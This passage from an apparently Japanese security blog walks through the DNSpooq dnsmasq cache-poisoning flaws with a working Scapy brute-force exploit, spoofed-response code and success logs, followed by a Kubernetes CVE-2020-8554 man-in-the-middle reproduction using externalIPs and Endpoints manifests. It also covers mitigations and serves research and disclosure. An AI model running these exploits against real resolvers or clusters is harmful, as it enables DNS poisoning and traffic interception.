ソースIPアドレスの偽装

上でも説明しましたが、偽装パケットが送出可能なISPを見つけて(現時点では簡単に見つかります)その中でサーバを借りれば準備OKです。LAN内に完全にコントロール可能なマシンがある場合はそこからソースIPアドレスを偽装したパケットが送れるのでこちらは不要になります。

CRC32の衝突

既に説明した通り、DNSSECが有効でない場合はカスタムしたCRC32がリクエスト/レスポンスの検証に使われます。 www.bank.com のAレコードINクラスの場合は以下のようになります。

CRC32(b"www.bank.com\x00\x01\x00\x01")

ここでCRC32の特徴として、 CRC32(x) = CRC32(y)となるようなxとyがある場合、それらに共通のサフィックスをつけてもCRC32の値は等しくなります。 CRC32(x||s) = CRC32(y||s)

つまり、 malicious.attacker.com のAレコードINクラスと衝突させたければ attacker.comサブドメインとして使う前提であれば malicious という文字列とCRC32が等しくなる文字列を探せばよいということになります。それ以降のサフィックスがすべて等しいためです。これはSMTソルバのZ3を使えば見つけることが出来ます。見つかった文字列のうち、ASCII文字列やドットのみを含みドメイン名としてふさわしい文字列を選びます。

この方法で malicious と等しい300,000程度の文字列を見つけたとのことです。1回の試行あたり150以上あれば良いので十分すぎる量です。時間内に刺さらなかった場合は別の150を使う必要があるので多ければ多いほど良いです。

攻撃の流れ

DNSフォワーダとして動くdnsmasqが入っているやられマシンと2つのサーバを用意します。一つはLAN内で、もう一つはインターネット上に置きます。LAN内のサーバは上で得た300,000のドメイン名の中から適当に選んでDNSクエリを送ります。これらは同時に送って150のクエリがdnsmasq上でレスポンス待機中の状態にします。説明したようにソケットの最大数がデフォルトでは150ですが、設定により異なる場合はその上限まで送ります。

そしてdnsmasqが上流のキャッシュサーバ(例えば 8.8.8.8 など)にクエリを転送している間に、インターネット上にあるサーバから偽装レスポンスをdnsmasqに大量に送りつけます。 8.8.8.8 から正規のレスポンスが返ってくる前にdnsmasqに受け入れられる必要があるため時間はシビアです。しかし正規のレスポンスが遅く返ってくれば攻撃のチャンスは広がります。レスポンスを遅くさせるために以下のような工夫をしています。

  1. 常に異なるドメイン名を使う
    • ネガティブキャッシュなどにヒットしてすぐ返ってしまうと困るため、300,000の中から同じものを使わないようにDNSクエリを送信していきます。
  2. 存在しないドメイン名を使う
    • キャッシュにヒットしてしまっても困りますし、毎回攻撃者の権威サーバに問い合わせて欲しいため攻撃者が管理しているゾーンかつ存在しないサブドメイン名を使うと良いです。
  3. 権威サーバのレスポンスをできるだけ遅らせる
    • 今回の攻撃ではキャッシュサーバは攻撃者が管理している権威サーバに問い合わせることになるため、レスポンスを遅くすればそれだけdnsmasqへのレスポンスも遅くなります。今回の実験ではシンプルに権威サーバを落としたようです。

これらをすることで2秒程度は時間を稼げるようです。レスポンスを遅くするというのはDNSキャッシュポイズニングではセットとしてついてくるものでSAD DNSの論文でも手法の一つが説明されています。ただしこちらは攻撃者が管理している権威サーバに問い合わさせることが可能ですし、存在しないドメイン名も使えるためSAD DNSの手法よりはコントロールが容易かと思います。

攻撃は数秒から5分未満で終わるため、2秒は攻撃を成功させるのに十分な時間であるとのことです。後述してますが実験した限りだと2秒はあまり十分な感じがしませんが、必ずしも一発で成功させる必要はないと考えれば十分なのかもしれません。

ブラウザからの攻撃

上の例ではLAN内のマシンから大量にDNSクエリを送っていましたが、ブラウザからでも同じことが可能です。まず攻撃者のWebサイトにアクセスさせてJavaScriptを実行させます。このJavaScriptではAJAXを使って大量のDNSクエリを送信します。iOSSafariでテストしたところ十分な量のDNSクエリが送信可能だったということです。ただしAとAAAAレコードを問い合わせてしまうため、上限の150ではなく75までしか同時に問い合わせることが出来ず成功確率は少し下がります。レコードタイプはハッシュ計算の時に含まれているため、CRC32が一致しなくなってしまうためです。

Firefox拡張機能を使えば出来そうだが未検証とのこと。

そしてChromeですが、一定期間に送出できるDNSクエリの数が制限されているようです。そのため1台のマシンからだと150に達するほどのDNSクエリが送れないため攻撃が難しいですが、複数マシンを使うことで実現可能です。

検証端末

dnsmasqは2.78-2.82のバージョンで検証し、それら全てが今回の脆弱性の影響を受けたとのことです。さらにCisco RV 160WやOpenWRT 18.06/19.07なども脆弱であることが分かりました。Netgear R7000やCheck Point 1500 V-80はキャッシュ機能が無効になっており脆弱性の影響は受けなかったとのことです。DNSSECが有効であればCRC32の脆弱性を悪用するのは難しいわけですが、今回の検証端末全てでDNSSEC無効の状態でコンパイルされていたとのことです。表を引用しておきます。

f:id:knqyf263:20210124172535p:plain
ホワイトペーパー P.8, Table 2より引用

攻撃の成功確率

詳細は割愛しますが、攻撃に2秒間の猶予があるとして90バイトのパケットを100Mbpsのネットワーク上で大量に送る場合、291,270パケットを送ることが出来ます。そのうち、19it程度のエントロピーを持つTXIDとソースポート番号に一致する確率は約50%とのことです。つまり攻撃を仕掛ければ2回に1回は毒を入れられることになります。

実際にはインタフェース側でパケットがドロップされてしまったりしてこれほど理想的にパケットを送ることは出来ないはずですが、より太い回線でより速く送れる可能性もありますし、十分現実的な攻撃と言えるかと思います。

PoC

ホワイトペーパーでしっかり説明してくれているので自分でExploitを書いてみました。実は何か特別なことをしているわけではなく、単に大量のUDPパケットを送ってTXIDとソースポート番号を総当りするだけです。なのでPoCは公開しても問題ないかと考え下記で公開しています。

github.com

検証環境のdocker-compose.ymlも同梱しているので試したい人はすぐ試せるようにしてあります。

工夫としてはCVE-2020-25685またはCVE-2020-25686を使ってTXIDを増やしヒットする可能性を増やす点です。ホワイトペーパー内では脆弱なCRC32を使って衝突するドメイン名を事前に用意して攻撃していましたが、今回のPoCでは単に同じドメイン名に関するクエリを大量に飛ばしています。ブラウザなどで制限が入っていない場合はそれで十分です。

ソースポート番号についてはクエリを大量に送れば分散してくれるのであまり意識しなくても良いです。

docker-composeで3つのコンテナが立ち上がりますが、それぞれ以下の図のような関係になっています。

f:id:knqyf263:20210124172920p:plain

それぞれについて解説します。

fowarder

forwarderコンテナにdnsmasqの2.82がインストールされています。そしてforwarderに対して大量のDNSクエリを送信します。この際、CVE-2020-25686を悪用したいので全て同じドメイン名にします。今回のPoCでは example.com としています。LAN内のマシンにDNSクエリを送らせることもできますが、今回は簡単のため攻撃者が直接DNSクエリを発行しています。dnsmasqがWANからのクエリを受け付ける場合は今回と似た環境になるはずです。

そしてforwarderは example.com のレコード及びキャッシュを持っていないので上流のDNSサーバに転送します。dnsmasqでは以下のように設定しているため、10.10.0.4のIPアドレスを持つcacheに転送されます。

$ cat dnsmasq.conf
log-queries
no-resolv

server=10.10.0.4

ここは通常ISPDNSサーバやGoogle Public DNSなどを指定しますが、今回は構成を簡単にするためにローカルのコンテナを指定しています。

そしてデフォルトだとタイムアウトが10秒で4回再送されるため合計40秒程度なのですが、実験の成功率を上げるために値を大きくしておきます。コンパイル時にしか直せないようなので src/config.h の値を書き換えます。

sed -ie 's/TIMEOUT 10/TIMEOUT 1800/' src/config.h

lists.thekelleys.org.uk

さらに成功率を上げたければクエリの同時最大転送数の値や利用されるポートの値を大きくしても良いと思います。手元で試した限りではデフォルトの値でも数分以内に成功していたので変えなくても大丈夫そうでした。

sed -ie 's/FTABSIZ 150/FTABSIZ 1500/' src/config.h
sed -ie 's/RANDOM_SOCKS 64/RANDOM_SOCKS 500/' src/config.h

cache

そしてcacheはforwarderから転送されたDNSクエリが飛んでくるわけですが、特に何もしません。デバッグがしやすいように以下のようなコードでソースポート番号やTXIDを表示しておきます。

#!/usr/bin/python

from scapy.all import *

def packet_handler(pkt):
    if pkt.haslayer(DNSQR) and pkt.haslayer(UDP):
        print(f"Source port: {pkt[UDP].sport}, TXID: {pkt[DNS].id}, Query: {pkt[DNSQR].qname}")

print("Sniffing...")
sniff(filter="udp port 53 and ip src 10.10.0.2", prn=packet_handler)

ここでもしすぐに返してしまうと攻撃するチャンスが減ってしまうため、何もしないほうが良いです。現実の環境でには8.8.8.8に転送されその後攻撃者の権威サーバに問い合わせられるので、そこでわざとレスポンスを遅らせる必要がありますが正規のドメイン名を取得して権威サーバ用意するのは大変なので簡易的に上記の構成としています。ただし、権威サーバで意図的に遅らせたとしても8.8.8.8はタイムアウトしてすぐにforwarderにレスポンスを返すと思うので今回の実験ほど攻撃者に猶予はないと思います。ペーパー内では攻撃ウィンドウは2秒程度と書いていました。今回の実験では上で設定した1800秒待ってくれるので十分な時間があります。

attacker

そして最後は肝心の攻撃用コンテナです。

大量クエリの送信

まずdnsmasqに多くのポートを使わせつつ多くのTXIDを発番させる必要があるため、同一ドメイン名に対するクエリをforwarderに向けて同時送信します。TXIDを固定にしてクエリを投げたらたくさん投げてもうまく転送してくれなかったので、idは変化させています。デフォルトでは最大150個までしかクエリを転送してくれないので、150回クエリを投げています。

# DNS query
qd = DNSQR(qname="example.com", qtype="A", qclass='IN')
req = IP(dst="10.10.0.2") / UDP(dport=53) / DNS(id=0, rd=1, qd=qd)
dns_layer = req[DNS]

# socket
s = conf.L3socket(iface="eth0")

print("Querying non-cached names...")
for i in range(150):
    dns_layer.id = i
    s.send(req)

愚直にsendで書いたら遅すぎてうまく刺さらなかったのですが、事前にパケットとsocketは用意しておいて使い回すようにしたら大分速くなりました。ただ後述しますが、もっと工夫すればもっと速く出来ます。

偽装レスポンスの送信

そしてcacheからのレスポンスに見せかけてforwarderにDNSレスポンスを送りつけます。この際、ソースポート番号を推測して送信先のポート番号に設定する必要があります。これは何の工夫もなく全てのポートを総当りします。実際には1024番以下はエフェメラルポートで試す必要がないので、1025番以上だけで良いです。そしてTXIDも推測する必要があるので総当りします。

まずはベースとなるパケットを組み立てます。

res = Ether() / \
      IP(src="10.10.0.4", dst="10.10.0.2") / \
      UDP(sport=53, dport=0) / \
      DNS(id=0, qr=1, ra=1, qd=qd,
          an=DNSRR(rrname="example.com", ttl=900, rdata="google.com", type="CNAME", rclass="IN") /
             DNSRR(rrname="google.com", ttl=900, rdata="169.254.169.254", type="A", rclass="IN"))
dns_layer = req[DNS]
udp_layer = req[UDP]

上の例では example.com のクエリに対してCNAMEで google.com を返し、 google.com169.254.169.254 というIPアドレスであるという毒を入れています。CNAMEのchainは最大10なので、既に説明したように同様の方法で他に9個まで毒を入れられます。そこまでは自分は試していないので、誰か興味あればやってみてください。

あとでDNSのTXIDとUDP送信先ポート番号を変えたいので dns_layerudp_layer を用意しています。

あとはこれを総当りすれば良いので、雑に以下のように実装しました。

# brute force: txid * source port
txids = range(1, 2**16)
sports = range(1025, 2**16)
candidates = itertools.product(txids, sports)

# socket
s = conf.L3socket(iface="eth0")

for txid, sport in candidates:
    # Update TXID and UDP dst port
    udp_layer.dport = sport
    dns_layer.id = txid
    s.send(res)

短いコードなので簡単に理解できると思いますが、上で作ったベースとなるパケットのTXIDとdportを変化させつつひたすらにパケットを投げ続けています。

高速化の話

実は上のコードだと遅すぎて全然刺さりませんでした。事前にパケットの配列にしておいてsendに渡すとか工夫してみたのですが内部的には単にfor文を回していたのでダメでした。そもそも32bit個あるペアを全て事前にメモリに持とうとするとメモリ不足で死にます。決められた数ずつ区切って...とか他にも工夫してみましたがやはり遅かったです。

色々調べていたところ、ありがたいことにやはりパケットのバイト列にエンコードする部分が遅いということを突き止めた人がいて、事前に raw() を呼んでバイト列にしておけば十分速いということが分かりました。TXIDとdportの値を変更する必要がありますが、前半のヘッダ部分は固定長なので簡単に差し替え可能ですしUDPチェックサムさえ計算してしまえばバイト列のまま新しいパケットを作れます。Scapyは抽象化されていて便利ですが、やはり時には生のパケットを触る必要があるということですね。ですがありがたいことにchecksum関数もScapyから既に提供されているのでほとんど労力なく再計算可能です。

以下のように37, 38バイト目がdst portになっているのでネットワークバイトオーダーにして入れてあげて、TXIDも同様に43, 44バイト目に入れてあげます。あとはチェックサムを再計算して41, 42バイト目に入れればOKです。

def patch(dns_frame: bytearray, pseudo_hdr: bytes, dns_id: int, dport: int):
    # set dport
    dns_frame[36] = (dport >> 8) & 0xFF
    dns_frame[37] = dport & 0xFF

    # set dns_id
    dns_frame[42] = (dns_id >> 8) & 0xFF
    dns_frame[43] = dns_id & 0xFF

    # reset checksum
    dns_frame[40] = 0x00
    dns_frame[41] = 0x00

    # calc new checksum
    ck = checksum(pseudo_hdr + dns_frame[34:])
    if ck == 0:
        ck = 0xFFFF
    cs = struct.pack("!H", ck)
    dns_frame[40] = cs[0]
    dns_frame[41] = cs[1]

上で作ったベースとなるパケットを raw() に渡してバイト列にしておけば準備は完了です。

# optimization
dns_frame = bytearray(raw(res))
pseudo_hdr = struct.pack(
    "!4s4sHH",
    inet_pton(socket.AF_INET, res["IP"].src),
    inet_pton(socket.AF_INET, res["IP"].dst),
    socket.IPPROTO_UDP,
    len(dns_frame[34:]),
)

あとはforの中で patch() を呼んで事前に作っておいたsocketでsendすれば良いです。既にバイト列(dns_frame)になっているのでL3socketではなくL2socketを使う必要があります。

s = conf.L2socket(iface="eth0")
for txid, sport in candidates:
    # update TXID and UDP dst port
    patch(dns_frame, pseudo_hdr, txid, sport)
    s.send(dns_frame)

これだけの労力で信じられないぐらい速くなります。上の raw() が遅いと言っていた人によれば2000-3000倍とのことでしたが、手元だともう少し早くなってそうでした。

Python使ってる時点で駄目かと思ってCに書き直そうかと思ったのですが、きちんとボトルネックを調べて直していけば意外と速かったりするので雑に結論付けずに何事も計測が大事ですね。

実行

あとはattackerコンテナに入って攻撃コードを実行するだけです。

docker-compose exec attacker bash
bash-5.0# python exploit.py
Querying non-cached names...
Generating spoofed packets...
Poisoned: b'google.com.' => 169.254.169.254
sent 3032017 responses in 50.309 seconds

50秒程度で成功している様子が伺えます。ペーパーの試算によれば秒間14万パケットぐらい送る前提で50%だったので、今回は秒間6万パケットぐらいしか送れていないことを考えると2秒以内に成功する確率は低くなります。とはいえ検証には十分すぎるスピードです。

forwarderのログを見ると最初 example.com をcacheコンテナに転送し、その後総当りでTXIDとソースポート番号がうまくヒットして google.com がキャッシュしている様子がわかります。

$ docker-compose logs -f forwarder
...
forwarder_1  | dnsmasq[1]: query[A] example.com from 10.10.0.3
forwarder_1  | dnsmasq[1]: forwarded example.com to 10.10.0.4
forwarder_1  | dnsmasq[1]: cached example.com is <CNAME>
forwarder_1  | dnsmasq[1]: cached google.com is 169.254.169.254

そしてcacheのログを見ると、確かに同一ドメイン名に対するクエリなのに異なるTXIDが発番されていることが分かります。このおかげでいずれかのTXIDにヒットすれば毒入れが出来るようになっています。そしてキャッシュポイズニングとは関係ないですが、後半になると同じポート番号だけ使うようになっていて、使うポートのバランシングに若干問題ありそうな気配を感じ取れます。

$ docker-compose logs -f cache
Attaching to dnspooq_cache_1
cache_1      | Sniffing...
cache_1      | Source port: 46816, TXID: 16476, Query: b'example.com.'
cache_1      | Source port: 16718, TXID: 54280, Query: b'example.com.'
...
cache_1      | Source port: 46816, TXID: 56240, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 24160, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 40361, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 13100, Query: b'example.com.'
cache_1      | Source port: 46816, TXID: 47303, Query: b'example.com.'

ということで無事に毒入れが出来ました。何度か試しましたが、遅くても5分以内ぐらいには終わるのでペーパーで説明されていたとおりでした。少しエントロピーが小さくなるだけで一気に現実的な時間で終わるようになるというのは、やはり自分で試すと実感が得られて楽しいです。

今回は1マシン1プロセスでやりましたが、もっと並列化すれば速くなるはずなので2秒以内に終わる可能性が50%というのもそこまでありえない数字ではないかなと思います。とはいえ今回はローカル内からやってますが実際にはインターネット上のサーバから送らないといけないはずで、そこを考慮するともう少し確率は低くなりそうな気がします。

攻撃者がするべきことは多数のDNSクエリをforwarderに向けて投げるだけ(またはLAN内のマシンから投げさせるだけ)なので、比較的条件は緩い方かなと思いますし最初に要約で述べた条件に当てはまる場合はやはり対策の検討を推奨したいです。ただStruts 2 のRCEのようにばらまけば簡単に刺さりまくるようなタイプの攻撃ではないので、攻撃者の労力に対して得られる利益が割と少なく世界的に大流行する可能性は低いと考えています。攻撃者に標的にされるとまずいかも、ぐらいの前提で対策の要不要を検討すると良さそうです。

対策・緩和策

まず一番良いのはdnsmasqを2.83以上に更新することです。また今回の脆弱性に限らずLAN内からの攻撃を防ぐためにはDHCPスヌーピングやIP source guardなどのレイヤー2セキュリティが有効です。ですが空港やホテルなど、そもそも不特定多数が使うネットワークだと難しいかなと思います。

他にもキャッシュポイズニングに関していくつかの緩和策が上げられています。

  • dnsmasqを不要にWAN側でlistenしない
  • DNSクエリの最大同時転送数をデフォルトの150から少なくする

他にもDNSSECを有効にするというのもあります。ただしCRC32の脆弱性は使えなくなりますがCVE-2020-25686は有効ですし、今回のブログでは触れていませんがDNSSEC検証が有効になっている場合、今度はバッファーオーバーフローの方の脆弱性が刺さってしまうためそちらの危険性が高まってしまいます。

余談

PoCは0から書いたのですが、割と拡散されたようで今回の報告者であるJSOFにも届いてしまいました。

良いPoCだ!と褒めてもらえたので良かったです。褒められると木に登る豚なのでCRC32のPoCも書いちゃうか?!と思ってます。

まとめ

dnsmasqの脆弱性のうちDNSキャッシュポイズニングに関する脆弱性の説明をしました。複数の脆弱性を組み合わせることで現実的な攻撃に落とし込んでいます。攻撃の実現容易性という意味でいうと、単にブラウザで攻撃者のWebサイトを表示させて大量のDNSリクエストを送らせるだけで毒入れ可能なのでそこそこ高いかなと感じています。さらにdnsmasqは様々なデバイス内部で使われていることを考えると、自分ではdnsmasqインストールしてないから安心!ということはなく利用している端末が影響を受けないかをきちんと確認する必要があります。そしてその端末がパブリックになっている場合は脆弱性関係なくそもそも設定を修正するべきです。意図的にパブリックにする必要があるのであれば今回の脆弱性の影響は大きいと思うのでバージョンをあげるのが良いです。

また、dnsmasqがLAN内からのリクエストのみを受け付けてWANに面している場合でもブラウザで単に攻撃者のWebサイトを閲覧させるだけで攻撃の実行が可能になっています。こちらも攻撃は割と容易かと思いますがそのような状況がどの程度あるのかはペーパーでは触れられていませんでしたし、自分も分かっていません。小規模なネットワークだとルータにdnsmasqが入っていてNATしつつDNSフォワーダもやってる、みたいな状況は結構多いか思います。大規模なネットワークだとどうなんでしょう。もしそういった構成が多いのであればDNSpooqは十分脅威かなと思います。DNSと関係ない仕事をしている人間の意見なので、有識者の方教えて下さい。

ということでdnsmasqの脆弱性でしたが、CRC32の衝突を利用してTXIDの推測を容易にするというのは面白かったです。またCNAMEを検証せずに受け入れてしまう、というのはDNSフォワーダとして合理的とはいえ今後も悪用されそうだなと感じました。

そして自分で攻撃コードを書いてみたわけですが、ホワイトペーパーを読んだだけでは分からなかった気付きも多く自分で手を動かすと得られる知見が段違いだなと改めて思いました。

ということで危険度を理解して正しく対策をしましょう。

KubernetesのLoadBalancerやClusterIPを用いた中間者攻撃(CVE-2020-8554)

今回は前回と違いライトなネタです。

概要

Kubernetesで新しい脆弱性(CVE-2020-8554)が公開されました。

github.com

拍子抜けするほど簡単な脆弱性なのですが、一応試しておきました。発見者の方のブログも以下にあります。

blog.champtar.fr

今回の脆弱性はServiceのtype: LoadBalancer/ClusterIPを悪用して行う中間者攻撃(MITM)なのですが、ブログの中でMITM as a Serviceと評していたのが面白かったです。KubernetesがMITMを簡単に代行してくれるという意味でas a Service感強いですし、今回悪用するリソースタイプもServiceなので二重にかかっていて好きです。

要約

  • 前提
    • 攻撃者が以下のいずれかの権限を持つ場合
      • type: ClusterIPのServiceを作成可能かつspec.externalIPsを設定可能
      • type: LoadBalancerのServiceのspec.externalIPsを設定可能
      • type: LoadBalancerのstatusが変更可能
        • より具体的にはstatus.loadBalancer.ingress.ipを変更可能
  • 影響
  • 影響するクラスタ
    • 全てのKubernetesバージョン
    • 特にマルチテナントをしていてServiceを作る権限がある場合は影響が大きい
      • 他の利用者のPod/Nodeの通信を傍受できる可能性があるため
  • アップデート
    • なし(設計上の欠陥であり修正のためには破壊的変更が必要)
  • 緩和策
  • 個人的な感想
    • マルチテナントクラスタの場合は影響ありそう
    • それ以外は攻撃者がServiceを作れるという前提が厳しいため影響は軽微

脆弱性概要

Serviceではtype: LoadBalancerやtype: ClusterIPが利用できますが、その中にexternalIPsというフィールドがあります。

kubernetes.io

上記のドキュメントにある設定例を引用します。

apiVersion: v1
kind: Service
metadata:
  name: my-service
spec:
  selector:
    app: MyApp
  ports:
    - name: http
      protocol: TCP
      port: 80
      targetPort: 9376
  externalIPs:
    - 80.11.12.10

この例ではmy-serviceは80.11.12.10:80でアクセス可能です。ここでexternalIPsを指定していますが、ドキュメントにもあるようにこれはKubernetesで管理されているわけではありません。実は任意のIPアドレスが指定できるというのが今回の脆弱性の肝です。

例えば8.8.8.8を指定するとどうなるかと言うと、8.8.8.8宛に通信したいPodのリクエストが全てmy-serviceにルーティングされます。これはクラスタ外部には影響を与えないので、クラスタ内のPodやNodeが影響を受けます。

これを悪用して、例えば example.com にアクセスしたいPodのHTTPリクエストを吸い込んで偽の応答を返すと行ったことが可能です。

非常にシンプルすぎてこれ以上特に説明することがありません。脆弱性の説明だけで2万文字以上書いた前回とは雲泥の差です。脆弱性に興味ある人は以下も興味あるかもしれないので一応貼っておきます。

knqyf263.hatenablog.com

さすがにシンプルすぎたのでちょっとお絵かきしてみました。インターネット上の8.8.8.8にアクセスしたいのにexternalIP: 8.8.8.8なServiceがあるせいでそちらにトラフィックが吸い込まれるイメージです。あくまでイメージなのであまり厳密性は考慮して作ってません。

f:id:knqyf263:20201208203451p:plain

PoC

簡単なのでHTTPとDNS両方やってみます。ご丁寧に上のGitHubのIssueや発見者のブログに再現方法も載っているので簡単です。ただ自分の環境用に少しアレンジしています。 Namespaceはdefaultでやってますが、あとで消すの面倒な人は適当なテスト用のNamespaceを作っておくと良いと思います。 自分はkindを使いました。

$ kind create cluster

HTTP編

まず、nginxを起動します。このnginxはHTTPリクエスト吸い込む先のPodになります。もちろん本来であればnginxではなくて攻撃者の好きなことをするためのPodを配置します。

$ kubectl run nginx --image nginx:latest --port 80

この状態で example.com にアクセスしてみます。

$ kubectl run --rm -it curl --image=curlimages/curl --restart=Never -- curl -I http://example.com
HTTP/1.1 200 OK
Accept-Ranges: bytes
Age: 493368
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Tue, 08 Dec 2020 04:34:39 GMT
Etag: "3147526947"
Expires: Tue, 15 Dec 2020 04:34:39 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Server: ECS (dcb/7EC8)
X-Cache: HIT
Content-Length: 1256

pod "curl" deleted

そうすると上記のようなデータが返ってきます。この時点では正常にアクセスできています。

次にtype: ClusterIPのServiceを作ります。この時、externalIPsのところに吸い込みたいIPアドレスを指定します。今回は example.comIPアドレスにしています。selectorとしてnginxを指定しているので、example.com 宛の通信がnginxに吸い込まれます。

$ cat service.yaml
apiVersion: v1
kind: Service
metadata:
  name: mitm
spec:
  selector:
    run: nginx
  type: ClusterIP
  ports:
    - name: http
      protocol: TCP
      port: 80
      targetPort: 80
  externalIPs:
    - 93.184.216.34

$ kubectl get service
NAME         TYPE        CLUSTER-IP      EXTERNAL-IP     PORT(S)   AGE
kubernetes   ClusterIP   10.96.0.1       <none>          443/TCP   10m
mitm         ClusterIP   10.110.24.182   93.184.216.34   80/TCP    7s

EXTERNAL-IPが93.184.216.34になっていることを確認したら、もう一度 example.com にアクセスしてみます。

$ kubectl run --rm -it curl --image=curlimages/curl --restart=Never -- curl -I http://example.com
HTTP/1.1 200 OK
Server: nginx/1.19.5
Date: Tue, 08 Dec 2020 04:45:26 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 24 Nov 2020 13:02:03 GMT
Connection: keep-alive
ETag: "5fbd044b-264"
Accept-Ranges: bytes

pod "curl" deleted

今度はnginxからレスポンスが返ってきていることが分かります。ということで攻撃者のPodでHTTPリクエストを盗聴することができました。

DNS

先程はServiceのselectorを使って攻撃者のPodに対してリクエストを送らせる方法を取りましたが、実は Endpoints を使うことでKubernetesクラスタ内だけではなく外部にデータを送らせることも可能です。EndpointsはService使った時とかに作られるぐらいの雑な認識だったのですが、自分でも好きにいじれるということを知りました(当たり前ですが)。Serviceがselectorを持ってない場合などは自分でEndpoints作るということがドキュメントにも書いてありました。

kubernetes.io

とりあえず先程のServiceを消しておきます。

$ kubectl delete svc/mitm

最初からdigなどがセットアップされたコンテナイメージを発見者の方が用意してくれているようですが、簡単なので自分でセットアップしていきます。

まずさっき作ったnginxのPodにログインします。

$ kubectl exec -it nginx -- bash

digをインストールします(ついでにvimも)。

 $ apt -y update && apt -y install dnsutils vim

まず適当に名前を引いてみます。

root@nginx:/# dig example.com

(中略)

;; SERVER: 10.96.0.10#53(10.96.0.10)
;; WHEN: Tue Dec 08 05:30:18 UTC 2020
;; MSG SIZE  rcvd: 79

結果を見ると10.96.0.10に問い合わせに行っています。

resolv.confを見ると確かにそうなっています。

root@nginx:/# cat /etc/resolv.conf
search default.svc.cluster.local svc.cluster.local cluster.local
nameserver 10.96.0.10
options ndots:5

k8sクラスタ内のIPアドレスだとLoadBalancerでの吸い込みが動かないかと思います。少なくとも自分の環境では無理でした。内部のIPアドレス宛だとデフォルトゲートウェイに飛ばされず内部で通信してしまうのでLoadBalancerのレイヤーに到達しない気がしますし、これは動かないのが自然かと思います。

何か頑張ればできるかもしれませんが、今回は外部のDNSサーバに変えます。発見者の方の動画を見ると、GKEでは169.254.169.254になっているため特に設定変更不要で攻撃が刺さるようでした。

今回は8.8.8.8にしています。

root@nginx:/# cat /etc/resolv.conf
search default.svc.cluster.local svc.cluster.local cluster.local
nameserver 8.8.8.8
options ndots:5

再度適当に名前を引いてみます。

root@nginx:/# dig example.com

(中略)

;; ANSWER SECTION:
example.com.            20528   IN      A       93.184.216.34

;; Query time: 51 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Tue Dec 08 05:41:43 UTC 2020
;; MSG SIZE  rcvd: 56

確かに8.8.8.8にアクセスしています。CHAOSクラスを確認してみます。

root@nginx:/# dig +short CH TXT version.server
root@nginx:/# dig +short CH TXT id.server

すると何も返ってきません。Google Public DNSはCHAOSクラスのレコードを返してくれないようです。ちなみにBINDなどではversion.bindでバージョンを確認することができます。

www.atmarkit.co.jp

ただBINDのバージョンを返すと脆弱なバージョンであることが分かったりしてセキュリティ上は良くないため、ローカルネットワークからのみ許可するなどの設定が一般的です。

上の確認ができたらexitして以下の設定を進めます。または別のターミナルを開いても良いです。

Kubernetesの設定に戻ります。先程はClusterIPを使ったので、今回はLoadBalancerを使ってみます。今回は8.8.8.8宛の53/udpを吸い込みたいので、以下のような設定にします。

先ほど説明したようにselectorは設定していません。

$ cat service.yaml
apiVersion: v1
kind: Service
metadata:
  name: mitm
spec:
  type: LoadBalancer
  ports:
    - name: dns
      protocol: UDP
      port: 53
      targetPort: 53
  externalIPs:
    - 8.8.8.8

$ kubectl apply -f service.yaml
service/mitm created

$ kubectl get svc/mitm
NAME   TYPE           CLUSTER-IP      EXTERNAL-IP   PORT(S)        AGE
mitm   LoadBalancer   10.105.50.141   8.8.8.8       53:31296/UDP   24s

selectorを指定していないのでEndpointsもありません。

$ kubectl get endpoints/mitm
Error from server (NotFound): endpoints "mitm" not found

ということで自分で作ります。1.1.1.1の53/udpに飛ばしてほしいので以下のようになります。ちなみに発見者の方のブログのYAMLは最後がtargetPortになっていますが(2020/12/08現在)、それだと動かなくてprotocolが正しいかなと思います。

$ cat endpoints.yaml
apiVersion: v1
kind: Endpoints
metadata:
  name: mitm
subsets:
- addresses:
  - ip: 1.1.1.1
  ports:
  - name: dns
    port: 53
    protocol: UDP

applyすれば準備完了です。

$ kubectl apply -f endpoints.yaml
$ kubectl get endpoints/mitm
NAME   ENDPOINTS    AGE
mitm   1.1.1.1:53   2s

ではもう一度nginxのPodに入ってdigで引いてみます。

$ kubectl exec -it nginx -- bash
root@nginx:/# dig example.com

(中略)

;; ANSWER SECTION:
example.com.            81213   IN      A       93.184.216.34

;; Query time: 22 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Tue Dec 08 05:57:48 UTC 2020
;; MSG SIZE  rcvd: 56

8.8.8.8に問い合わせていますし、特に何も変わっていないように見えます。しかし再度CHAOSクラスのversion.serverなどを引いてみます。

root@nginx:/# dig +short CH TXT version.server
"2020.12.0"
root@nginx:/# dig +short CH TXT id.server
"TLV"

今度は値が返ってきています。これはCloudflareのDNSサーバがこれらのレコードに対応しているためです。version.serverの方は発見者の環境では "cluodflare-resolver-2019.11.0" などのわかりやすい値が返ってきていましたが、自分の環境では"2020.12.0"のみでした。

1.1.1.1に問い合わせると同じ値が帰ってくることが分かります。

root@nginx:/# dig +short @1.1.1.1 CH TXT version.server
"2020.12.0"

id.serverは自分がイスラエルのTel-Aviv在住なのでTLVになっています。

ということで8.8.8.8に問い合わせたはずなのに1.1.1.1に問い合わせに行っていることが分かります。これを1.1.1.1ではなく攻撃者のDNSサーバにしてしまえば好きなDNSレスポンスを返すことができます。

その他

他にも実験した内容が発見者のブログには書いてあるため、興味がある人は目を通すと良いです。

blog.champtar.fr

まとめ

攻撃者がServiceの設定が出来るという前提があるため実際の悪用はマルチテナント以外の状況では難しいかと思いますが、シンプルな脆弱性なので軽く目を通しておくと良いかと思います。

以下のブログで解説した脆弱性も攻撃者がクラスタ内にいる前提での中間者攻撃でした。最近のトレンドかなと思います。

knqyf263.hatenablog.com

今回の脆弱性は影響こそ大きくないものの設計上の欠陥ということでパッチは今のところないため、軽く頭の片隅においておくと良さそうです。今後の方針については以下で話し合われているようです。

github.com

SAD DNSのICMP rate limitを用いたサイドチャネル攻撃について

脆弱性ネタは人気がないことが過去の傾向から明らかですが、自分が震えるほど感動したので忘れないためにも気合い入れて大作を書きました。

要約

ちゃんと理解するの結構難しいという話があったので、先に要約しておきます。雰囲気だけでも掴んでもらえると嬉しいです。

  • DNSキャッシュポイズニングの新しい手法としてSAD DNSが発表された
